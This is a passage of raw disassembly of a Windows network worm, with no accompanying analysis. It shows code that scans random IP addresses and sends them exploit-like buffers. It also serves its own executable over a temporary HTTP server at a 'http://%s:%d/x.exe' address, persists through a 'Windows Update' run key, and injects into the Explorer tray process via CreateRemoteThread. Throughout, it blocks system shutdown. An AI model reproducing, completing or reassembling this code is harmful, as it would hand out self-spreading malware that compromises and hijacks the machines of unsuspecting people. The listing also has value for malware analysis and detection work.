sub_30902C42 ; memcpy push 70h lea eax, [ebp+var_690C] push offset dword_30904AC4 push eax call sub_30902C42 ; memcpy lea eax, [ebp+var_37A0] push 0A5Eh push eax lea eax, [ebp+var_689C] push eax call sub_30902C42 ; memcpy push 84h lea eax, [ebp+var_5DD8] push offset dword_30904B38 push eax call sub_30902C42 ; memcpy add esp, 3Ch lea eax, [ebp+var_89E4] push 0 push 10FCh push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_30901168 ; recv cmp eax, 0FFFFFFFFh jz loc_30901D04 push 0 push 0FDCh lea eax, [ebp+var_690C] jmp loc_30901CF7 ; --------------------------------------------------------------------------- loc_30901BAF: ; CODE XREF: sub_309017B9+22Bj push 0DACh lea eax, [ebp+var_2CD8] push 90h push eax mov [ebp+arg_0], 1 call sub_30902C36 ; memset push 4 lea eax, [ebp+var_24F4] push offset dword_30904C30 push eax call sub_30902C42 ; memcpy push offset byte_309042F0 call sub_30902C3C ; strlen push eax lea eax, [ebp+var_24E4] push offset byte_309042F0 push eax call sub_30902C42 ; memcpy push 4 lea eax, [ebp+var_21C0] push offset loc_30904CA8 push eax call sub_30902C42 ; memcpy push 4 lea eax, [ebp+var_21BC] push offset dword_30904C30 push eax call sub_30902C42 ; memcpy add esp, 40h push offset byte_309042F0 call sub_30902C3C ; strlen push eax lea eax, [ebp+var_21B0] push offset byte_309042F0 push eax call sub_30902C42 ; memcpy add esp, 10h xor ecx, ecx lea eax, [ebp+var_4833] loc_30901C4B: ; CODE XREF: sub_309017B9+4A8j mov dl, [ebp+ecx+var_2CD8] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 0DACh jl short loc_30901C4B and [ebp+var_2CDC], 0 and [ebp+var_2CDB], 0 push 1C52h lea eax, [ebp+var_89E4] push 31h push eax call sub_30902C36 ; memset push 1C52h lea eax, [ebp+var_690C] push 31h push eax call sub_30902C36 ; memset add esp, 18h jmp loc_30901A50 ; --------------------------------------------------------------------------- loc_30901C9F: ; CODE XREF: sub_309017B9+339j push 7Ch lea eax, [ebp+var_1F28] push offset dword_30904944 push eax call sub_30902C42 ; memcpy lea eax, [ebp+var_F44] push 7D0h push eax lea eax, [ebp+var_1EAC] push eax call sub_30902C42 ; memcpy push 90h lea eax, [ebp+var_16DC] push offset dword_309049C4 push eax call sub_30902C42 ; memcpy add esp, 24h and [ebp+var_1231], 0 lea eax, [ebp+var_1F28] push 0 push 0CF8h loc_30901CF7: ; CODE XREF: sub_309017B9+3F1j push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep and [ebp+var_C], 0 loc_30901D04: ; CODE XREF: sub_309017B9+1ADj ; sub_309017B9+1E1j ... push 2 push [ebp+var_4] call dword_3090116C ; shutdown loc_30901D0F: ; CODE XREF: sub_309017B9+166j push [ebp+var_4] call dword_30901170 ; closesocket pop esi loc_30901D19: ; CODE XREF: sub_309017B9+37j mov eax, [ebp+var_C] pop edi pop ebx leave retn sub_309017B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_30901D20 proc near ; CODE XREF: UPX0:loc_30902321p var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 1Ch push esi push edi push offset aAdvapi32 ; "advapi32" call dword_309010A4 ; LoadLibraryA mov esi, dword_309010A0 mov edi, eax push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress test eax, eax mov [ebp+var_4], eax jz short loc_30901DA4 push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi call esi ; GetProcAddress test eax, eax mov [ebp+var_8], eax jz short loc_30901DA4 push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi call esi ; GetProcAddress mov esi, eax test esi, esi jz short loc_30901DA4 lea eax, [ebp+var_C] push eax push 20h call dword_3090109C ; GetCurrentProcess push eax call [ebp+var_4] lea eax, [ebp+var_18] mov [ebp+var_1C], 1 push eax push offset aSedebugprivile ; "SeDebugPrivilege" push 0 mov [ebp+var_10], 2 call [ebp+var_8] push 0 push 0 lea eax, [ebp+var_1C] push 10h push eax push 0 push [ebp+var_C] call esi ; GetProcAddress loc_30901DA4: ; CODE XREF: sub_30901D20+28j ; sub_30901D20+37j ... pop edi pop esi leave retn sub_30901D20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_30901DA8 proc near ; CODE XREF: UPX0:30902335p var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov ecx, dword_30904FE0 and [ebp+var_4], 0 push ebx push esi mov eax, [ecx+3Ch] push edi add eax, ecx push offset aKernel32 ; "kernel32" mov ecx, [eax+34h] mov edi, [eax+50h] mov [ebp+var_C], ecx call dword_309010B0 ; GetModuleHandleA mov esi, dword_309010A0 mov ebx, eax push offset aVirtualallocex ; "VirtualAllocEx" push ebx call esi ; GetProcAddress test eax, eax mov [ebp+var_10], eax jnz short loc_30901DEF loc_30901DEB: ; CODE XREF: sub_30901DA8+54j push 1 jmp short loc_30901E40 ; --------------------------------------------------------------------------- loc_30901DEF: ; CODE XREF: sub_30901DA8+41j push offset aCreateremoteth ; "CreateRemoteThread" push ebx call esi ; GetProcAddress test eax, eax mov [ebp+var_14], eax jz short loc_30901DEB push 0 push offset aShell_traywnd ; "Shell_TrayWnd" call dword_3090110C ; FindWindowA test eax, eax jnz short loc_30901E1D call dword_30901110 ; GetForegroundWindow test eax, eax jnz short loc_30901E1D push 2 jmp short loc_30901E40 ; --------------------------------------------------------------------------- loc_30901E1D: ; CODE XREF: sub_30901DA8+65j ; sub_30901DA8+6Fj lea ecx, [ebp+var_8] push ecx push eax call dword_30901114 ; GetWindowThreadProcessId push [ebp+var_8] push 0 push 42Ah call dword_309010AC ; OpenProcess mov ebx, eax test ebx, ebx jnz short loc_30901E43 push 3 loc_30901E40: ; CODE XREF: sub_30901DA8+45j ; sub_30901DA8+73j pop eax jmp short loc_30901EAE ; --------------------------------------------------------------------------- loc_30901E43: ; CODE XREF: sub_30901DA8+94j push 4 push 3000h push edi push [ebp+var_C] push ebx call [ebp+var_10] mov esi, dword_3090107C test eax, eax jz short loc_30901EA1 lea ecx, [ebp+var_10] push ecx push edi push eax push eax push ebx call dword_309010A8 ; WriteProcessMemory push dword_30904FD4 call esi ; CloseHandle lea eax, [ebp+var_18] xor edi, edi push eax push edi push 1 push [ebp+arg_0] push edi push edi push ebx call [ebp+var_14] cmp eax, edi jz short loc_30901E8D push eax call esi ; CloseHandle jmp short loc_30901EA8 ; --------------------------------------------------------------------------- loc_30901E8D: ; CODE XREF: sub_30901DA8+DEj push offset aUterm15 ; "uterm15" call sub_30901EE1 pop ecx mov [ebp+var_4], 5 jmp short loc_30901EA8 ; --------------------------------------------------------------------------- loc_30901EA1: ; CODE XREF: sub_30901DA8+B2j mov [ebp+var_4], 4 loc_30901EA8: ; CODE XREF: sub_30901DA8+E3j ; sub_30901DA8+F7j push ebx call esi ; CloseHandle mov eax, [ebp+var_4] loc_30901EAE: ; CODE XREF: sub_30901DA8+99j pop edi pop esi pop ebx leave retn sub_30901DA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_30901EB3 proc near ; CODE XREF: sub_3090216F+Bp ; UPX0:309022F7p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi pusha rdtsc mov [ebp+var_8], eax popa mov [ebp+var_4], esp call dword_309010B4 ; GetTickCount mov ecx, [ebp+var_4] imul ecx, [ebp+var_8] add eax, ecx push eax call dword_309010E8 ; srand pop ecx pop edi pop esi pop ebx leave retn sub_30901EB3 endp ; =============== S U B R O U T I N E ======================================= sub_30901EE1 proc near ; CODE XREF: sub_30901DA8+EAp ; UPX0:30902301p ... arg_0 = dword ptr 4 push [esp+arg_0] push 1 push 0 call dword_309010B8 ; CreateMutexA retn sub_30901EE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_30901EF0 proc near ; CODE XREF: sub_3090235D+113p ; sub_3090235D+11Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_309010BC ; CreateThread pop ebp retn sub_30901EF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_30901F0A proc near ; CODE XREF: sub_3090216F+12Cp ; sub_3090252C+5Ap ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_309010BC ; CreateThread push eax call dword_3090107C ; CloseHandle pop ebp retn sub_30901F0A endp ; =============== S U B R O U T I N E ======================================= sub_30901F2B proc near ; CODE XREF: sub_309011A0+68p ; sub_309029FD+3Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push esi push edi mov edi, [esp+0Ch+arg_4] xor esi, esi test edi, edi jle short loc_30901F53 loc_30901F3C: ; CODE XREF: sub_30901F2B+26j call dword_309010F8 ; rand push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [esi+ebx], dl inc esi cmp esi, edi jl short loc_30901F3C loc_30901F53: ; CODE XREF: sub_30901F2B+Fj and byte ptr [ebx+edi], 0 pop edi pop esi pop ebx retn sub_30901F2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_30901F5B proc near ; CODE XREF: sub_309011A0+105p var_54 = dword ptr -54h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 54h push esi push edi push 44h xor esi, esi pop edi lea eax, [ebp+var_54] push edi push esi push eax call sub_30902C36 ; memset mov ax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_24], ax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax push esi push esi push esi push esi push esi push esi mov [ebp+var_54], edi push [ebp+arg_0] push esi call dword_309010C0 ; CreateProcessA push [ebp+var_C] mov esi, dword_3090107C mov edi, eax call esi ; CloseHandle push [ebp+var_10] call esi ; CloseHandle mov eax, edi pop edi pop esi leave retn sub_30901F5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_30901FB1 proc near ; CODE XREF: sub_309025B4+3Ep ; sub_3090267B+7p ... var_34 = byte ptr -34h push ebp mov ebp, esp sub esp, 34h lea eax, [ebp+var_34] push 31h push eax call dword_30901148 ; gethostname cmp eax, 0FFFFFFFFh jnz short loc_30901FD2 call dword_3090114C ; WSAGetLastError xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_30901FD2: ; CODE XREF: sub_30901FB1+15j lea eax, [ebp+var_34] push eax call dword_30901150 ; gethostbyname test eax, eax jnz short loc_30901FE7 mov eax, 100007Fh leave retn ; --------------------------------------------------------------------------- loc_30901FE7: ; CODE XREF: sub_30901FB1+2Dj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] leave retn sub_30901FB1 endp ; =============== S U B R O U T I N E ======================================= sub_30901FF0 proc near ; CODE XREF: sub_309024C8+22p ; sub_3090252C+27p ... var_4 = byte ptr -4 push ecx lea eax, [esp+4+var_4] push 0 push eax call dword_3090112C ; InternetGetConnectedState neg eax sbb eax, eax neg eax pop ecx retn sub_30901FF0 endp ; =============== S U B R O U T I N E ======================================= sub_30902006 proc near ; CODE XREF: sub_3090235D+40p ; sub_3090235D+4Cp ... arg_0 = dword ptr 4 push [esp+arg_0] push 0 push 2 call dword_309010C8 ; OpenEventA test eax, eax jz short locret_3090201F push eax call dword_309010C4 ; SetEvent locret_3090201F: ; CODE XREF: sub_30902006+10j retn sub_30902006 endp ; =============== S U B R O U T I N E ======================================= sub_30902020 proc near ; CODE XREF: sub_3090169C+29p push esi mov esi, dword_309010F8 push edi call esi ; rand mov edi, eax shl edi, 10h call esi ; rand or eax, edi pop edi pop esi retn sub_30902020 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_30902036 proc near ; DATA XREF: sub_3090216F+127o var_200 = byte ptr -200h var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_0] push esi push edi xor edi, edi lea eax, [ebp+var_100] push edi push 100h push eax push ebx call dword_30901168 ; recv cmp eax, 0FFFFFFFFh jnz short loc_30902067 push 1 jmp loc_30902122 ; --------------------------------------------------------------------------- loc_30902067: ; CODE XREF: sub_30902036+28j mov esi, dword_30901100 lea eax, [ebp+var_100] push offset aGet ; "GET" push eax call esi ; strstr pop ecx test eax, eax pop ecx jz loc_30902125 lea eax, [ebp+var_100] push offset dword_30904228 push eax call esi ; strstr pop ecx test eax, eax pop ecx jz loc_30902125 mov esi, dword_30901164 push 0 push 3Dh push offset aHttp1_1200OkCo ; "HTTP/1.1 200 OK\r\nContent-Type: applicat"... push ebx call esi ; send push dword_30904FD0 lea eax, [ebp+var_200] push offset aContentLengthU ; "Content-Length: %u\r\n\r\n" push eax call dword_30901118 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_200] push 0 push eax call sub_30902C3C ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push ebx call esi ; send loc_309020E4: ; CODE XREF: sub_30902036+E8j mov eax, dword_30904FD0 mov ecx, 1000h sub eax, edi cmp eax, ecx jb short loc_309020F6 mov eax, ecx loc_309020F6: ; CODE XREF: sub_30902036+BCj test eax, eax jz short loc_30902143 push 0 push eax mov eax, dword_30904FC8 add eax, edi push eax push ebx call esi ; send cmp eax, 0FFFFFFFFh jz short loc_30902120 cmp eax, 1000h jb short loc_30902143 push 64h add edi, eax call dword_30901094 ; Sleep jmp short loc_309020E4 ; --------------------------------------------------------------------------- loc_30902120: ; CODE XREF: sub_30902036+D5j push 2 loc_30902122: ; CODE XREF: sub_30902036+2Cj pop eax jmp short loc_30902168 ; --------------------------------------------------------------------------- loc_30902125: ; CODE XREF: sub_30902036+49j ; sub_30902036+61j mov esi, dword_30901164 push 0 push 15h push offset aHttp1_1200Ok ; "HTTP/1.1 200 OK\r\n\r\n\r\n" push ebx call esi ; send push 0 push 3 push offset dword_30904D70 push ebx call esi ; send loc_30902143: ; CODE XREF: sub_30902036+C2j ; sub_30902036+DCj push 7D0h call dword_30901094 ; Sleep push 2 push ebx call dword_3090116C ; shutdown push ebx call dword_30901170 ; closesocket push 0 call dword_309010CC ; ExitThread xor eax, eax loc_30902168: ; CODE XREF: sub_30902036+EDj pop edi pop esi pop ebx leave retn 4 sub_30902036 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3090216F proc near ; DATA XREF: sub_3090235D+10Eo var_130 = byte ptr -130h var_28 = byte ptr -28h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 130h push ebx push edi call sub_30901EB3 lea eax, [ebp+var_130] push 104h push eax push offset aWindowsUpdate ; "Windows Update" xor ebx, ebx push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h mov dword_30904FCC, ebx call sub_309027EB add esp, 14h test eax, eax jnz loc_309022A4 push esi push ebx push ebx push 3 push ebx push 1 lea eax, [ebp+var_130] push 80000000h push eax call dword_30901080 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_309021DB push 1 call dword_309010CC ; ExitThread loc_309021DB: ; CODE XREF: sub_3090216F+62j push ebx push esi call dword_309010D4 ; GetFileSize push eax mov dword_30904FD0, eax call sub_30902C07 pop ecx mov dword_30904FC8, eax lea ecx, [ebp+var_4] push ebx push ecx push dword_30904FD0 push eax push esi call dword_309010D0 ; ReadFile mov eax, [ebp+var_4] push esi mov dword_30904FD0, eax call dword_3090107C ; CloseHandle push ebx push 1 push 2 call dword_30901154 ; socket push 10h mov edi, eax pop esi lea eax, [ebp+var_18] push esi push ebx push eax call sub_30902C36 ; memset add esp, 0Ch mov [ebp+var_18], 2 mov [ebp+var_14], ebx loc_3090223D: ; CODE XREF: sub_3090216F+E5j ; sub_3090216F+EDj ... call dword_309010F8 ; rand add eax, 7D0h and eax, 1FFFh cmp al, bl mov dword_30904FDC, eax jz short loc_3090223D xor ecx, ecx mov cl, ah test cl, cl jz short loc_3090223D push eax call dword_3090115C ; htons mov [ebp+var_16], ax lea eax, [ebp+var_18] push esi push eax push edi call dword_3090113C ; bind test eax, eax jnz short loc_3090223D push 64h push edi call dword_30901140 ; listen mov [ebp+var_8], esi pop esi loc_30902286: ; CODE XREF: sub_3090216F+133j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_28] push eax push edi call dword_30901144 ; accept push eax push offset sub_30902036 call sub_30901F0A pop ecx pop ecx jmp short loc_30902286 ; --------------------------------------------------------------------------- loc_309022A4: ; CODE XREF: sub_3090216F+3Dj push ebx call dword_309010CC ; ExitThread pop edi xor eax, eax pop ebx leave retn 4 sub_3090216F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_309022B3 proc near ; CODE XREF: sub_3090235D:loc_30902465p var_190 = byte ptr -190h push ebp mov ebp, esp sub esp, 190h lea eax, [ebp+var_190] push esi mov esi, dword_30901138 push eax push 2 call esi ; WSAStartup lea eax, [ebp+var_190] push eax push 102h call esi ; WSAStartup pop esi leave retn sub_309022B3 endp ; --------------------------------------------------------------------------- loc_309022DF: ; CODE XREF: UPX1:30906C58j push 0 call dword_309010B0 ; GetModuleHandleA push offset aFtpupd_exe ; "ftpupd.exe" mov dword_30904FE0, eax call dword_309010E0 ; DeleteFileA call sub_30901EB3 push offset aUterm15 ; "uterm15" call sub_30901EE1 pop ecx mov dword_30904FD4, eax call dword_309010DC ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_30902321 push 1 call dword_309010D8 ; ExitProcess loc_30902321: ; CODE XREF: UPX0:30902317j call sub_30901D20 call sub_3090294F call sub_30902AC9 push offset sub_3090235D call sub_30901DA8 test eax, eax pop ecx jz short loc_30902346 push 0 call sub_3090235D loc_30902346: ; CODE XREF: UPX0:3090233Dj xor eax, eax retn ; =============== S U B R O U T I N E ======================================= sub_30902349 proc near ; CODE XREF: sub_3090235D:loc_3090248Ep ; sub_309024C8:loc_309024E1p ... push 0 push dword_30904FD8 call dword_30901074 ; WaitForSingleObject neg eax sbb eax, eax inc eax retn sub_30902349 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3090235D proc near ; CODE XREF: UPX0:30902341p ; DATA XREF: UPX0:30902330o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_30901188 push offset loc_30902C30 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi push offset aU15x ; "u15x" xor edi, edi push edi push 1 push edi call dword_30901070 ; CreateEventA mov dword_30904FD8, eax mov [ebp+var_4], edi push offset aU10x ; "u10x" call sub_30902006 mov [esp+0Ch+var_C], offset aU11x ; "u11x" call sub_30902006 mov [esp+0Ch+var_C], offset aU12x ; "u12x" call sub_30902006 mov [esp+0Ch+var_C], offset aU13x ; "u13x" call sub_30902006 mov [esp+0Ch+var_C], offset aU14x ; "u14x" call sub_30902006 mov [esp+0Ch+var_C], offset aU8 ; "u8" call sub_30901EE1 mov [esp+0Ch+var_C], offset aU9 ; "u9" call sub_30901EE1 mov [esp+0Ch+var_C], offset aU10 ; "u10" call sub_30901EE1 mov [esp+0Ch+var_C], offset aU11 ; "u11" call sub_30901EE1 mov [esp+0Ch+var_C], offset aU12 ; "u12" call sub_30901EE1 mov [esp+0Ch+var_C], offset aU13 ; "u13" call sub_30901EE1 mov [esp+0Ch+var_C], offset aU14 ; "u14" call sub_30901EE1 pop ecx cmp [ebp+arg_0], edi jz short loc_30902465 push offset aWs2_32 ; "ws2_32" mov esi, dword_309010A4 call esi ; LoadLibraryA push offset aWininet ; "wininet" call esi ; LoadLibraryA push offset aMsvcrt ; "msvcrt" call esi ; LoadLibraryA push offset aAdvapi32 ; "advapi32" call esi ; LoadLibraryA push offset aUser32 ; "user32" call esi ; LoadLibraryA push offset aUterm15 ; "uterm15" call sub_30901EE1 pop ecx mov dword_30904FD4, eax loc_30902465: ; CODE XREF: sub_3090235D+CDj call sub_309022B3 push edi push offset sub_3090216F call sub_30901EF0 push edi push offset sub_3090169C call sub_30901EF0 push edi push offset loc_309026D7 call sub_30901EF0 add esp, 18h loc_3090248E: ; CODE XREF: sub_3090235D+14Cj call sub_30902349 test eax, eax jnz short loc_309024AB push edi call dword_30901018 ; AbortSystemShutdownA push 1388h call dword_30901094 ; Sleep jmp short loc_3090248E ; --------------------------------------------------------------------------- loc_309024AB: ; CODE XREF: sub_3090235D+138j or [ebp+var_4], 0FFFFFFFFh call nullsub_2 xor eax, eax mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_3090235D endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_309024C8 proc near ; DATA XREF: sub_3090252C+55o ; sub_309025B4+6Ao ... var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_309024D7 push 1 pop eax jmp short locret_30902528 ; --------------------------------------------------------------------------- loc_309024D7: ; CODE XREF: sub_309024C8+8j mov al, byte ptr [ebp+arg_0+3] push ebx push esi mov [ebp+var_1], al xor bl, bl loc_309024E1: ; CODE XREF: sub_309024C8+5Aj call sub_30902349 test eax, eax jnz short loc_30902524 call sub_30901FF0 test eax, eax jz short loc_30902524 cmp [ebp+var_1], bl jz short loc_3090251D mov byte ptr [ebp+arg_0+3], bl push [ebp+arg_0] call sub_309017B9 movzx esi, word_30904FEC pop ecx call dword_309010F8 ; rand cdq idiv esi add edx, esi push edx call dword_30901094 ; Sleep loc_3090251D: ; CODE XREF: sub_309024C8+2Ej inc bl cmp bl, 0FFh jb short loc_309024E1 loc_30902524: ; CODE XREF: sub_309024C8+20j ; sub_309024C8+29j pop esi xor eax, eax pop ebx locret_30902528: ; CODE XREF: sub_309024C8+Dj leave retn 4 sub_309024C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3090252C proc near ; DATA XREF: sub_309025B4+7Eo ; UPX0:3090276Co arg_0 = dword ptr 8 push ebp mov ebp, esp cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_3090253A push 1 pop eax jmp short loc_309025B0 ; --------------------------------------------------------------------------- loc_3090253A: ; CODE XREF: sub_3090252C+7j push ebx push esi push edi call sub_30901EB3 mov esi, dword_309010F8 xor ebx, ebx loc_3090254A: ; CODE XREF: sub_3090252C+7Dj call sub_30902349 test eax, eax jnz short loc_309025AB call sub_30901FF0 test eax, eax jz short loc_309025AB call esi ; rand mov byte ptr [ebp+arg_0+2], al call esi ; rand push offset dword_30904FE4 mov byte ptr [ebp+arg_0+3], al call dword_3090106C ; InterlockedIncrement push [ebp+arg_0] call sub_309017B9 test eax, eax pop ecx jnz short loc_3090258D push [ebp+arg_0] push offset sub_309024C8 call sub_30901F0A pop ecx pop ecx loc_3090258D: ; CODE XREF: sub_3090252C+50j movzx edi, word_30904FEC call esi ; rand cdq idiv edi add edx, edi push edx call dword_30901094 ; Sleep inc ebx cmp ebx, 8000h jl short loc_3090254A loc_309025AB: ; CODE XREF: sub_3090252C+25j ; sub_3090252C+2Ej pop edi pop esi xor eax, eax pop ebx loc_309025B0: ; CODE XREF: sub_3090252C+Cj pop ebp retn 4 sub_3090252C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_309025B4 proc near ; DATA XREF: UPX0:30902784o var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx call sub_30901EB3 call sub_30902349 test eax, eax jnz loc_3090266D push ebx mov ebx, dword_30901094 push esi mov esi, dword_309010F8 push edi loc_309025DA: ; CODE XREF: sub_309025B4+48j ; sub_309025B4+B0j call esi ; rand mov byte ptr [ebp+var_4+1], al call esi ; rand mov byte ptr [ebp+var_4+3], al call esi ; rand mov byte ptr [ebp+var_4+2], al loc_309025E9: ; CODE XREF: sub_309025B4+3Cj call esi ; rand cmp al, 7Fh mov byte ptr [ebp+var_4], al jz short loc_309025E9 call sub_30901FB1 mov edi, [ebp+var_4] cmp edi, eax jz short loc_309025DA call sub_30901FF0 test eax, eax jz short loc_30902645 push offset dword_30904FE4 call dword_3090106C ; InterlockedIncrement push edi call sub_309017B9 test eax, eax pop ecx jnz short loc_3090264C push edi push offset sub_309024C8 call sub_30901F0A pop ecx mov [ebp+var_8], 4 pop ecx loc_30902631: ; CODE XREF: sub_309025B4+8Dj push edi push offset sub_3090252C call sub_30901F0A dec [ebp+var_8] pop ecx pop ecx jnz short loc_30902631 jmp short loc_3090264C ; --------------------------------------------------------------------------- loc_30902645: ; CODE XREF: sub_309025B4+51j push 2710h call ebx ; Sleep loc_3090264C: ; CODE XREF: sub_309025B4+67j ; sub_309025B4+8Fj movzx edi, word_30904FEC call esi ; rand cdq idiv edi add edx, edi push edx call ebx ; Sleep call sub_30902349 test eax, eax jz loc_309025DA pop edi pop esi pop ebx loc_3090266D: ; CODE XREF: sub_309025B4+11j push 0 call dword_309010CC ; ExitThread xor eax, eax leave retn 4 sub_309025B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3090267B proc near ; CODE XREF: UPX0:30902749p ; UPX0:loc_309027AFp var_50 = byte ptr -50h var_28 = byte ptr -28h push ebp mov ebp, esp sub esp, 50h push esi call sub_30901FB1 push eax call dword_30901158 ; inet_ntoa mov esi, dword_30901068 push eax lea eax, [ebp+var_28] push eax call esi ; lstrcpy push dword_30904FDC lea eax, [ebp+var_28] push eax lea eax, [ebp+var_50] push offset aHttpSDX_exe ; "http://%s:%d/x.exe" push eax call dword_30901118 ; wsprintfA add esp, 10h lea eax, [ebp+var_50] push eax push offset word_309042F2 call esi ; lstrcpy push offset byte_309042F0 call dword_30901084 ; lstrlen mov byte_309042F0[eax], 0DFh pop esi leave retn sub_3090267B endp ; --------------------------------------------------------------------------- loc_309026D7: ; DATA XREF: sub_3090235D+124o push ecx push ecx push ebx push ebp push esi xor ebx, ebx push edi mov dword_30904FE4, ebx call sub_30901FF0 mov esi, dword_30901094 mov edi, 1388h test eax, eax jnz short loc_30902705 loc_309026F9: ; CODE XREF: UPX0:30902703j push edi call esi ; Sleep call sub_30901FF0 test eax, eax jz short loc_309026F9 loc_30902705: ; CODE XREF: UPX0:309026F7j lea eax, [esp+14h] push ebx push eax call dword_3090112C ; InternetGetConnectedState test byte ptr [esp+14h], 2 push 50h mov dword_30904FE8, ebx pop ebp mov word_30904FEC, 96h jz short loc_30902742 mov dword_30904FE8, 1 mov ebp, 15Eh mov word_30904FEC, 14h loc_30902742: ; CODE XREF: UPX0:30902728j call sub_30901FB1 mov ebx, eax call sub_3090267B cmp ebx, 100007Fh jz short loc_30902763 push ebx push offset sub_309024C8 call sub_30901F0A pop ecx pop ecx loc_30902763: ; CODE XREF: UPX0:30902754j mov dword ptr [esp+10h], 4 loc_3090276B: ; CODE XREF: UPX0:3090277Cj push ebx push offset sub_3090252C call sub_30901F0A dec dword ptr [esp+18h] pop ecx pop ecx jnz short loc_3090276B test ebp, ebp jle short loc_30902793 loc_30902782: ; CODE XREF: UPX0:30902791j push 0 push offset sub_309025B4 call sub_30901F0A pop ecx dec ebp pop ecx jnz short loc_30902782 loc_30902793: ; CODE XREF: UPX0:30902780j ; UPX0:3090279Fj ... call sub_30901FF0 test eax, eax jz short loc_309027A1 push edi call esi ; Sleep jmp short loc_30902793 ; --------------------------------------------------------------------------- loc_309027A1: ; CODE XREF: UPX0:3090279Aj ; UPX0:309027ADj call sub_30901FF0 test eax, eax jnz short loc_309027AF push edi call esi ; Sleep jmp short loc_309027A1 ; --------------------------------------------------------------------------- loc_309027AF: ; CODE XREF: UPX0:309027A8j call sub_3090267B jmp short loc_30902793 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_309027B6 proc near ; CODE XREF: sub_3090294F+8Cp ; sub_30902AC9+11Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax push 0F003Fh push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_3090100C ; RegOpenKeyExA test eax, eax jnz short loc_309027E9 push [ebp+arg_8] push [ebp+arg_4] call dword_30901010 ; RegDeleteValueA push [ebp+arg_4] call dword_30901014 ; RegCloseKey loc_309027E9: ; CODE XREF: sub_309027B6+1Cj pop ebp retn sub_309027B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_309027EB proc near ; CODE XREF: sub_3090216F+33p ; sub_3090294F+7Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_10] push esi mov [ebp+var_4], eax lea 